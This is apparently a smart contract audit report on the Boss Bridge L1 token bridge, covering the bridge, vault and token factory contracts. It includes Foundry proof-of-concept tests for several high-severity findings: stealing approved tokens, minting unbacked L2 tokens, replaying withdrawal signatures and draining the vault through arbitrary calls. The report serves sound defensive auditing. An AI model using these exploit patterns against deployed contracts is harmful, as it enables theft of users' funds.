Boss Bridge Protocol Audit Report

Version 1.0

GuireWire

July 16, 2024

Protocol Audit Report

GuireWire

July 16, 2024

Prepared by: GuireWire Lead Auditors:

- GuireWire

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Token Compatibility

For the moment, assume *only* the `L1Token.sol` or copies of it will be used as tokens for the bridge. This means all other ERC20s and their weirdness is considered out-of-scope.

On withdrawals

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Disclaimer

The GuireWire team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Audit deemed to be successful as we identified 9 high severity and 1 medium severity vulnerabilities.

These bugs ranged from Pre-compile issues, Signature replays, Arbitrary From, Infinite Mint, and Reentrancy.

We spent 5 hours on the audit.

Issues found

Severity	Number of Issues Found
High	9
Medium	1
Low	8
Informational	1
Gas	0
Total	19

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

Description:

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

Impact:

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Proof of Concept:

1. User approves the token bridge as they plan on moving tokens to L2.
2. Malicious user deposits the user's tokens but sends it to the malicious user's address instead.
3. Funds are stolen!

Proof of Code

- Include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Recommended Mitigation:

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

Modifications

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description:

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Impact:

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

Proof of Concept:

Proof of Code

- Include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the
       vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    vm.stopPrank();
}
```

Recommended Mitigation:

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description:

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal

data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces).

Impact:

Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept:

Proof of Code

- Include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
       attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
           attackerInitialBalance), operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
           , v, r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
        + vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recommended Mitigation:

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description:

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract.

Impact:

Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of Concept:

Proof of Code

- Include the following test in the `L1BossBridge.t.sol` file:

```
1  function testCanCallVaultApproveFromBridgeAndDrainVault() public {
2      uint256 vaultInitialBalance = 1000e18;
3      deal(address(token), address(vault), vaultInitialBalance);
4
5      // An attacker deposits tokens to L2. We do this under the
           assumption that the
6      // bridge operator needs to see a valid deposit tx to then allow us
           to request a withdrawal.
7      vm.startPrank(attacker);
8      vm.expectEmit(address(tokenBridge));
9      emit Deposit(address(attacker), address(0), 0);
10     tokenBridge.depositTokensToL2(attacker, address(0), 0);
11
12     // Under the assumption that the bridge operator doesn't validate
           bytes being signed
13     bytes memory message = abi.encode(
14         address(vault), // target
```

```
15          0, // value
16          abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max)) // data
17      );
18      (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
            key);
19
20      tokenBridge.sendToL1(v, r, s, message);
21      assertEq(token.allowance(address(vault), attacker), type(uint256).
            max);
22      token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
23  }
```

Recommended Mitigation:

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

Description:

The `CREATE` opcode on Ethereum Mainnet and zkSync Era work slightly differently.

Impact:

As a result of this, the `CREATE` opcode does not work correctly on zkSync Era.

Recommended Mitigation:

Refer to the zkSync Era documentation for recommended mitigation.

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

Note: Skipped as intention of this Protocol audit was to cover attack vectors above. Attack vectors like this have previously been covered in previous audits. Refer to GuireWire Audit Reports

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

Note: Skipped as intention of this Protocol audit was to cover attack vectors above. Attack vectors like this have previously been covered in previous audits. Refer to GuireWire Audit Reports

[H-8] `TokenFactory::deployToken` locks tokens forever

Note: Skipped as intention of this Protocol audit was to cover attack vectors above. Attack vectors like this have previously been covered in previous audits. Refer to GuireWire Audit Reports

[H-9] Arbitrary `from` passed to `transferFrom` (or `safeTransferFrom`)

Description and Impact:

Passing an arbitrary `from` address to `transferFrom` (or `safeTransferFrom`) can lead to loss of funds, because anyone can transfer tokens from the `from` address if an approval is made.

Proof of Concept:

1 Found Instances

- Found in src/L1BossBridge.sol Line: 74

```
1           token.safeTransferFrom(from, address(vault), amount);
```

Recommended Mitigation:

Restrict the accessibility to allow anyone to transfer tokens from the `from` address.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description:

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

Impact:

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Recommended Mitigation:

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Description and Impact:

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Recommended Mitigation:

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] Centralization Risk for trusted owners

Description and Impact:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Proof of Concept:

8 Found Instances

- Found in src/L1BossBridge.sol Line: 27

```
1 contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
```

- Found in src/L1BossBridge.sol Line: 49

```
1     function pause() external onlyOwner {
```

- Found in src/L1BossBridge.sol Line: 53

```
1      function unpause() external onlyOwner {
```

- Found in src/L1BossBridge.sol Line: 57

```
1      function setSigner(address account, bool enabled) external
          onlyOwner {
```

- Found in src/L1Vault.sol Line: 12

```
1  contract L1Vault is Ownable {
```

- Found in src/L1Vault.sol Line: 19

```
1      function approveTo(address target, uint256 amount) external
          onlyOwner {
```

- Found in src/TokenFactory.sol Line: 11

```
1  contract TokenFactory is Ownable {
```

- Found in src/TokenFactory.sol Line: 23

```
1      function deployToken(string memory symbol, bytes memory
          contractBytecode) public onlyOwner returns (address addr) {
```

[L-3] Unsafe ERC20 Operations should not be used

Description and Impact:

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Proof of Concept:

2 Found Instances

- Found in src/L1BossBridge.sol Line: 99

```
1                  abi.encodeCall(IERC20.transferFrom, (address(vault
                      ), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
1          token.approve(target, amount);
```

[L-4] Missing checks for `address(0)` when assigning values to address state variables

Description and Impact:

Check for `address(0)` when assigning values to address state variables.

Proof of Concept:

1 Found Instances

- Found in src/L1Vault.sol Line: 16

```
1          token = _token;
```

[L-5] `public` functions not used internally could be marked `external`

Description and Impact:

Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

Proof of Concept:

2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
1      function deployToken(string memory symbol, bytes memory
          contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
1      function getTokenAddressFromSymbol(string memory symbol)
          public view returns (address addr) {
```

[L-6] Event is missing `indexed` fields

Description and Impact:

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

Proof of Concept:

2 Found Instances

- Found in src/L1BossBridge.sol Line: 40

```
    event Deposit(address from, address to, uint256 amount);
```

- Found in src/TokenFactory.sol Line: 14

```
    event TokenDeployed(string symbol, address addr);
```

[L-7] PUSH0 is not supported by all chains

Description and Impact:

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

Proof of Concept:

4 Found Instances

- Found in src/L1BossBridge.sol Line: 15

```
pragma solidity 0.8.20;
```

- Found in src/L1Token.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/L1Vault.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/TokenFactory.sol Line: 2

```
pragma solidity 0.8.20;
```

[L-8] Large literal values multiples of 10000 can be replaced with scientific notation

Description and Impact:

Use `e` notation, for example: `1e18`, instead of its full numeric value.

Proof of Concept:

2 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
1       uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

- Found in src/L1Token.sol Line: 7

```
1       uint256 private constant INITIAL_SUPPLY = 1_000_000;
```

Informational

[I-1] Insufficient Test Coverage

Description and Impact:

File	% Lines	% Statements	% Branches	% Funcs
src/L1BossBridge.sol	77.78% (14/18)	82.61% (19/23)	83.33% (5/6)	71.43% (5/7)
src/L1Token.sol	100.00% (1/1)	100.00% (1/1)	100.00% (0/0)	100.00% (1/1)
src/L1Vault.sol	50.00% (1/2)	50.00% (1/2)	100.00% (0/0)	50.00% (1/2)
src/TokenFactory.sol	100.00% (4/4)	100.00% (4/4)	100.00% (0/0)	66.67% (2/3)
Total	80.00% (20/25)	83.33% (25/30)	83.33% (5/6)	69.23% (9/13)

Recommended Mitigation:

Aim to get the test coverage up to over 90% for all files.